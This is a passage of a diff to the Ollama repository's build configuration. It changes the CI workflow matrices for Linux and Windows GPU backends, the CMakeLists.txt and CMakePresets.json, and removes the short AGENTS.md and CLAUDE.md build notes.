-            expected_payload: lib/ollama/vulkan/libggml-vulkan.so
-          - preset: 'MLX CUDA 13'
-            container: nvidia/cuda:13.0.0-devel-ubuntu22.04
-            extra-packages: libcudnn9-dev-cuda-13 libopenblas-dev liblapack-dev liblapacke-dev git curl
-            superbuild_target: ollama-mlx-cuda_v13
-            superbuild_dir: build/local-superbuild-mlx-cuda_v13
-            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=87 -DMLX_CUDA_ARCHITECTURES=80-virtual -DBLAS_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu -DLAPACK_INCLUDE_DIRS=/usr/include/x86_64-linux-gnu'
-            expected_payload: lib/ollama/mlx_cuda_v13/libmlx.so
-            install-go: true
+              vulkan-sdk cmake ccache g++ make
     runs-on: linux
     container: ${{ matrix.container }}
     steps:
@@ -133,42 +75,21 @@ jobs:
             echo "deb [signed-by=/usr/share/keyrings/lunarg-archive-keyring.gpg]  https://packages.lunarg.com/vulkan/1.4.313 jammy main" | $sudo tee /etc/apt/sources.list.d/lunarg-vulkan-1.4.313-jammy.list > /dev/null
             $sudo apt-get update
           fi
-          $sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
-          # Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
-          curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
+          $sudo apt-get install -y cmake ccache ${{ matrix.extra-packages }}
           # Export VULKAN_SDK if provided by LunarG package (defensive)
           if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
             echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
           fi
         env:
           DEBIAN_FRONTEND: noninteractive
-      - if: matrix.install-go
-        name: Install Go
-        run: |
-          [ -n "${{ matrix.container }}" ] || sudo=sudo
-          GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
-          curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
-          echo "/usr/local/go/bin" >> $GITHUB_PATH
       - uses: actions/cache@v4
         with:
           path: /github/home/.cache/ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
-      - name: Build native superbuild
-        if: matrix.superbuild_target
-        run: |
-          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
-          CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
-          test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
-      - name: Verify local superbuild install
-        if: matrix.superbuild_target == 'ollama-local'
-        run: |
-          ./ollama --version
-          "${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
-          test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
-          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
-          "$RUNNER_TEMP/ollama-local/bin/ollama" --version
-          "$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
-          test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
+      - run: |
+          cmake --preset ${{ matrix.preset }} ${{ matrix.flags }}
+          cmake --build --preset ${{ matrix.preset }} --parallel
+
   windows:
     needs: [changes]
     if: needs.changes.outputs.changed == 'True'
@@ -176,16 +97,9 @@ jobs:
       matrix:
         include:
           - preset: CPU
-            superbuild_target: ollama-local
-            superbuild_dir: build\local-superbuild
-            superbuild_args: ''
-            expected_payload: lib\ollama\llama-server.exe
           - preset: CUDA
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            superbuild_target: ollama-llama-server-cuda_v13
-            superbuild_dir: build\local-superbuild-cuda_v13
-            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
-            expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
+            flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
             cuda-components:
               - '"cudart"'
               - '"nvcc"'
@@ -196,47 +110,16 @@ jobs:
               - '"nvptxcompiler"'
             cuda-version: '13.0'
           - preset: ROCm
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
-            rocm-version: '7.1'
-            superbuild_target: ollama-llama-server-rocm_v7_1
-            superbuild_dir: build\local-superbuild-rocm_v7_1
-            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
-            expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
+            flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
           - preset: Vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
-            superbuild_target: ollama-llama-server-vulkan
-            superbuild_dir: build\local-superbuild-vulkan
-            superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
-            expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
-          - preset: 'MLX CUDA 13'
-            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
-            cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
-            superbuild_target: ollama-mlx-cuda_v13
-            superbuild_dir: build\local-superbuild-mlx-cuda_v13
-            superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
-            expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
-            install-go: true
-            cuda-components:
-              - '"cudart"'
-              - '"nvcc"'
-              - '"cublas"'
-              - '"cublas_dev"'
-              - '"cufft"'
-              - '"cufft_dev"'
-              - '"nvrtc"'
-              - '"nvrtc_dev"'
-              - '"crt"'
-              - '"nvvm"'
-              - '"nvptxcompiler"'
-            cuda-version: '13.0'
     runs-on: windows
     steps:
       - run: |
           choco install -y --no-progress ccache ninja
-          if (Get-Command ccache -ErrorAction SilentlyContinue) {
-            ccache -o cache_dir=${{ github.workspace }}\.ccache
-          }
-      - if: matrix.preset == 'CUDA' || matrix.preset == 'ROCm' || matrix.preset == 'Vulkan' || matrix.preset == 'MLX CUDA 13'
+          ccache -o cache_dir=${{ github.workspace }}\.ccache
+      - if: matrix.preset == 'CUDA' || matrix.preset == 'ROCm' || matrix.preset == 'Vulkan'
         id: cache-install
         uses: actions/cache/restore@v4
         with:
@@ -244,9 +127,8 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-            C:\Program Files\NVIDIA\CUDNN
-          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
-      - if: matrix.preset == 'CUDA' || matrix.preset == 'MLX CUDA 13'
+          key: ${{ matrix.install }}
+      - if: matrix.preset == 'CUDA'
         name: Install CUDA ${{ matrix.cuda-version }}
         run: |
           $ErrorActionPreference = "Stop"
@@ -282,31 +164,10 @@ jobs:
             Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
             Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
           }
-
+          
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
-          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
-          if (Test-Path $vulkanRuntime) {
-            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
-          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
-      - if: matrix.preset == 'MLX CUDA 13'
-        name: Install cuDNN for MLX
-        run: |
-          $ErrorActionPreference = "Stop"
-          $cudnnRoot = "C:\Program Files\NVIDIA\CUDNN"
-          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
-            Invoke-WebRequest -Uri "${{ matrix.cudnn-install }}" -OutFile "cudnn.zip"
-            Expand-Archive -Path cudnn.zip -DestinationPath cudnn-extracted
-            $cudnnDir = (Get-ChildItem -Path cudnn-extracted -Directory)[0].FullName
-            New-Item -ItemType Directory -Force -Path $cudnnRoot
-            Copy-Item -Path "$cudnnDir\*" -Destination "$cudnnRoot\" -Recurse
-          }
-
-          echo "CUDNN_ROOT_DIR=$cudnnRoot" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CUDNN_INCLUDE_PATH=$cudnnRoot\include" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CUDNN_LIBRARY_PATH=$cudnnRoot\lib\x64" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "$cudnnRoot\bin\x64" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - if: ${{ !cancelled() && steps.cache-install.outputs.cache-hit != 'true' }}
         uses: actions/cache/save@v4
         with:
@@ -314,47 +175,20 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-            C:\Program Files\NVIDIA\CUDNN
-          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
+          key: ${{ matrix.install }}
       - uses: actions/checkout@v4
-      - if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
-        uses: actions/setup-go@v5
-        with:
-          go-version-file: 'go.mod'
       - uses: actions/cache@v4
         with:
           path: ${{ github.workspace }}\.ccache
-          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
-      - name: Build native superbuild
-        if: matrix.superbuild_target
-        run: |
-          $ErrorActionPreference = "Stop"
+          key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
+      - run: |
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
-          $env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
-          cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
-          if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
-            throw "missing ${{ matrix.expected_payload }}"
-          }
+          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
+          cmake --build --parallel --preset "${{ matrix.preset }}"
         env:
           CMAKE_GENERATOR: Ninja
-      - name: Verify local superbuild install
-        if: matrix.superbuild_target == 'ollama-local'
-        run: |
-          $ErrorActionPreference = "Stop"
-          & ".\ollama.exe" --version
-          & "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
-          if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
-            throw "missing llama-quantize.exe"
-          }
-          $installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
-          cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
-          & "$installPrefix\bin\ollama.exe" --version
-          & "$installPrefix\lib\ollama\llama-server.exe" --version
-          if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
-            throw "missing installed llama-quantize.exe"
-          }
+
   go_mod_tidy:
     runs-on: ubuntu-latest
     steps:
@@ -363,7 +197,6 @@ jobs:
         run: go mod tidy --diff || (echo "Please run 'go mod tidy'." && exit 1)
 
   test:
-    needs: [changes]
     strategy:
       matrix:
         os: [ubuntu-latest, macos-latest, windows-latest]
@@ -377,9 +210,7 @@ jobs:
           go-version-file: 'go.mod'
           cache-dependency-path: |
             go.sum
-            LLAMA_CPP_VERSION
-            MLX_VERSION
-            MLX_C_VERSION
+            Makefile.sync
       - uses: actions/setup-node@v4
         with:
           node-version: '20'
@@ -393,17 +224,6 @@ jobs:
         if: ${{ startsWith(matrix.os, 'ubuntu') }}
         working-directory: ./app/ui/app
         run: npm test
-      - name: Verify MLX generated files are current
-        if: ${{ startsWith(matrix.os, 'ubuntu') }}
-        run: |
-          cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
-          cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
-          git diff --exit-code -- \
-            x/imagegen/mlx/mlx.h \
-            x/imagegen/mlx/mlx.c \
-            x/mlxrunner/mlx/generated.h \
-            x/mlxrunner/mlx/generated.c \
-            x/mlxrunner/mlx/include/mlx/c
       - name: Run go generate
         run: go generate ./...
 
@@ -411,8 +231,15 @@ jobs:
         if: always()
         run: go test -count=1 -benchtime=1x ./...
 
-      - name: go test app with live updater tag
-        if: ${{ needs.changes.outputs.app_changed == 'True' && contains(fromJSON('["macos-latest","windows-latest"]'), matrix.os) }}
-        run: go test -count=1 -tags updater_live ./app/...
-
       - uses: golangci/golangci-lint-action@v9
+        with:
+          only-new-issues: true
+
+  patches:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - name: Verify patches apply cleanly and do not change files
+        run: |
+          make -f Makefile.sync clean checkout apply-patches sync
+          git diff --compact-summary --exit-code

.gitignore

@@ -15,4 +15,3 @@ __debug_bin*
 llama/build
 llama/vendor
 /ollama
-integration/testdata/models/

AGENTS.md

@@ -1,21 +0,0 @@
-# AGENTS.md
-
-## Building
-
-For a full build from the repository root:
-
-```sh
-cmake -B build .
-cmake --build build --parallel 8
-./ollama serve
-```
-
-For quick Go-only iteration against an existing native payload:
-
-```sh
-go build .
-go run . serve
-```
-
-See `docs/development.md` for prerequisites, platform notes, GPU backends, and
-the full development workflow.

CLAUDE.md

@@ -1,3 +0,0 @@
-# CLAUDE.md
-
-See `AGENTS.md` for the shared agent instructions for this repository.

CMakeLists.txt

@@ -1,4 +1,4 @@
-cmake_minimum_required(VERSION 3.24)
+cmake_minimum_required(VERSION 3.21)
 
 project(Ollama C CXX)
 
@@ -23,37 +23,39 @@ include(GNUInstallDirs)
 
 find_package(Threads REQUIRED)
 
-if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
-    set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
-endif()
-
-# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
-if(NOT DEFINED BUILD_SHARED_LIBS)
-    set(BUILD_SHARED_LIBS ON)
-endif()
+set(CMAKE_BUILD_TYPE Release)
+set(BUILD_SHARED_LIBS ON)
 
 set(CMAKE_CXX_STANDARD 17)
 set(CMAKE_CXX_STANDARD_REQUIRED ON)
-set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
+set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
 
-# GGML backend for inference is provided by llama-server (built separately via
-# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
-# The root CMake project is the orchestration entrypoint; backend-specific
-# build rules live in subprojects under cmake/.
+set(GGML_BUILD ON)
+set(GGML_SHARED ON)
+set(GGML_CCACHE ON)
+set(GGML_BACKEND_DL ON)
+set(GGML_BACKEND_SHARED ON)
+set(GGML_SCHED_MAX_COPIES 4)
+
+set(GGML_LLAMAFILE ON)
+set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
+set(GGML_CUDA_GRAPHS ON)
+set(GGML_CUDA_FA ON)
+set(GGML_CUDA_COMPRESSION_MODE default)
+
+if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
+    OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
+    set(GGML_CPU_ALL_VARIANTS ON)
+endif()
 
 if(APPLE)
     set(CMAKE_BUILD_RPATH "@loader_path")
     set(CMAKE_INSTALL_RPATH "@loader_path")
     set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
-elseif(UNIX)
-    set(CMAKE_BUILD_RPATH "$ORIGIN")
-    set(CMAKE_INSTALL_RPATH "$ORIGIN")
-    set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
 endif()
 
 set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
-set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
-set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
+set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
 
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
@@ -62,9 +64,156 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
 set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
 
-if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
-    set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
-else()
-    set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
+include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
+include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include)
+include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu)
+include_directories(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx)
+
+add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
+
+# Define GGML version variables for shared library SOVERSION
+# These are required by ggml/src/CMakeLists.txt for proper library versioning
+set(GGML_VERSION_MAJOR 0)
+set(GGML_VERSION_MINOR 0)
+set(GGML_VERSION_PATCH 0)
+set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
+
+set(GGML_CPU ON)
+add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
+set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
+
+get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
+if(NOT CPU_VARIANTS)
+    set(CPU_VARIANTS "ggml-cpu")
 endif()
-include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)
+
+install(TARGETS ggml-base ${CPU_VARIANTS}
+    RUNTIME_DEPENDENCIES
+        PRE_EXCLUDE_REGEXES ".*"
+    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
+    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
+    FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
+)
+
+check_language(CUDA)
+if(CMAKE_CUDA_COMPILER)
+    if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
+        set(CMAKE_CUDA_ARCHITECTURES "native")
+    endif()
+
+    find_package(CUDAToolkit)
+    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
+    install(TARGETS ggml-cuda
+        RUNTIME_DEPENDENCIES
+            DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
+            PRE_INCLUDE_REGEXES cublas cublasLt cudart
+            PRE_EXCLUDE_REGEXES ".*"
+        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
+        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
+    )
+endif()
+
+set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
+    CACHE STRING
+    "Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
+)
+
+check_language(HIP)
+if(CMAKE_HIP_COMPILER)
+    set(HIP_PLATFORM "amd")
+
+    if(NOT AMDGPU_TARGETS)
+        find_package(hip REQUIRED)
+        list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
+    endif()
+
+    if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
+        list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
+    endif()
+
+    if(AMDGPU_TARGETS)
+        find_package(hip REQUIRED)
+        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
+
+        if (WIN32)
+            target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
+        endif()
+
+        target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
+
+        install(TARGETS ggml-hip
+            RUNTIME_DEPENDENCY_SET rocm
+            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
+            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
+        )
+        install(RUNTIME_DEPENDENCY_SET rocm
+                DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
+                PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register drm drm_amdgpu numa elf
+                PRE_EXCLUDE_REGEXES ".*"
+                POST_EXCLUDE_REGEXES "system32"
+            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
+            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
+        )
+
+        foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
+            if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
+                install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
+                break()
+            endif()
+        endforeach()
+    endif()
+endif()
+
+if(NOT APPLE)
+    find_package(Vulkan)
+    if(Vulkan_FOUND)
+        add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
+        install(TARGETS ggml-vulkan
+            RUNTIME_DEPENDENCIES
+                PRE_INCLUDE_REGEXES vulkan
+                PRE_EXCLUDE_REGEXES ".*"
+            RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
+            LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
+        )
+    endif()
+endif()
+
+option(MLX_ENGINE "Enable MLX backend" OFF)
+
+if(MLX_ENGINE)
+    message(STATUS "Setting up MLX (this takes a while...)")
+    add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/ml/backend/mlx)
+
+    # Find CUDA toolkit if MLX is built with CUDA support
+    find_package(CUDAToolkit)
+
+    install(TARGETS mlx mlxc
+        RUNTIME_DEPENDENCIES
+            DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
+            PRE_INCLUDE_REGEXES cublas cublasLt cudart nvrtc cudnn nccl
+            PRE_EXCLUDE_REGEXES ".*"
+        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+        FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    )
+
+    # Install the Metal library for macOS arm64 (must be colocated with the binary)
+    # Metal backend is only built for arm64, not x86_64
+    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
+            DESTINATION ${OLLAMA_INSTALL_DIR}
+            COMPONENT MLX)
+    endif()
+
+    # Manually install cudart and cublas since they might not be picked up as direct dependencies
+    if(CUDAToolkit_FOUND)
+        file(GLOB CUDART_LIBS
+            "${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
+            "${CUDAToolkit_LIBRARY_DIR}/libcublas.so*")
+        if(CUDART_LIBS)
+            install(FILES ${CUDART_LIBS}
+                DESTINATION ${OLLAMA_INSTALL_DIR}
+                COMPONENT MLX)
+        endif()
+    endif()
+endif()

CMakePresets.json

@@ -11,10 +11,99 @@
       }
     },
     {
-      "name": "MLX Metal",
+      "name": "CPU",
+      "inherits": [ "Default" ]
+    },
+    {
+      "name": "CUDA",
+      "inherits": [ "Default" ]
+    },
+    {
+      "name": "CUDA 11",
+      "inherits": [ "CUDA" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
+        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
+        "OLLAMA_RUNNER_DIR": "cuda_v11"
+      }
+    },
+    {
+      "name": "CUDA 12",
+      "inherits": [ "CUDA" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
+        "CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
+        "OLLAMA_RUNNER_DIR": "cuda_v12"
+      }
+    },
+    {
+      "name": "CUDA 13",
+      "inherits": [ "CUDA" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
+        "CMAKE_CUDA_FLAGS": "-t 4",
+        "OLLAMA_RUNNER_DIR": "cuda_v13"
+      }
+    },
+    {
+      "name": "JetPack 5",
+      "inherits": [ "CUDA" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_ARCHITECTURES": "72;87",
+        "OLLAMA_RUNNER_DIR": "cuda_jetpack5"
+      }
+    },
+    {
+      "name": "JetPack 6",
+      "inherits": [ "CUDA" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_ARCHITECTURES": "87",
+        "OLLAMA_RUNNER_DIR": "cuda_jetpack6"
+      }
+    },
+    {
+      "name": "ROCm",
       "inherits": [ "Default" ],
       "cacheVariables": {
-        "OLLAMA_MLX_BACKENDS": "metal_v3;metal_v4"
+        "CMAKE_HIP_PLATFORM": "amd"
+      }
+    },
+    {
+      "name": "ROCm 6",
+      "inherits": [ "ROCm" ],
+      "cacheVariables": {
+        "CMAKE_HIP_FLAGS": "-parallel-jobs=4",
+        "AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
+        "OLLAMA_RUNNER_DIR": "rocm"
+      }
+    },
+    {
+      "name": "Vulkan",
+      "inherits": [ "Default" ],
+      "cacheVariables": {
+        "OLLAMA_RUNNER_DIR": "vulkan"
+      }
+    },
+    {
+      "name": "MLX",
+      "inherits": [ "Default" ],
+      "cacheVariables": {
+        "MLX_ENGINE": "ON",
+        "OLLAMA_RUNNER_DIR": "mlx"
+      }
+    },
+    {
+      "name": "MLX CUDA 12",
+      "inherits": [ "MLX", "CUDA 12" ],
+      "cacheVariables": {
+        "OLLAMA_RUNNER_DIR": "mlx_cuda_v12"
+      }
+    },
+    {
+      "name": "MLX CUDA 13",
+      "inherits": [ "MLX", "CUDA 13" ],
+      "cacheVariables": {
+        "OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
       }
     }
   ],
@@ -25,9 +114,69 @@
       "configuration": "Release"
     },
     {
-      "name": "MLX Metal",
-      "targets": [ "ollama-mlx-backends" ],
-      "configurePreset": "MLX Metal"
+      "name": "CPU",
+      "configurePreset": "Default",
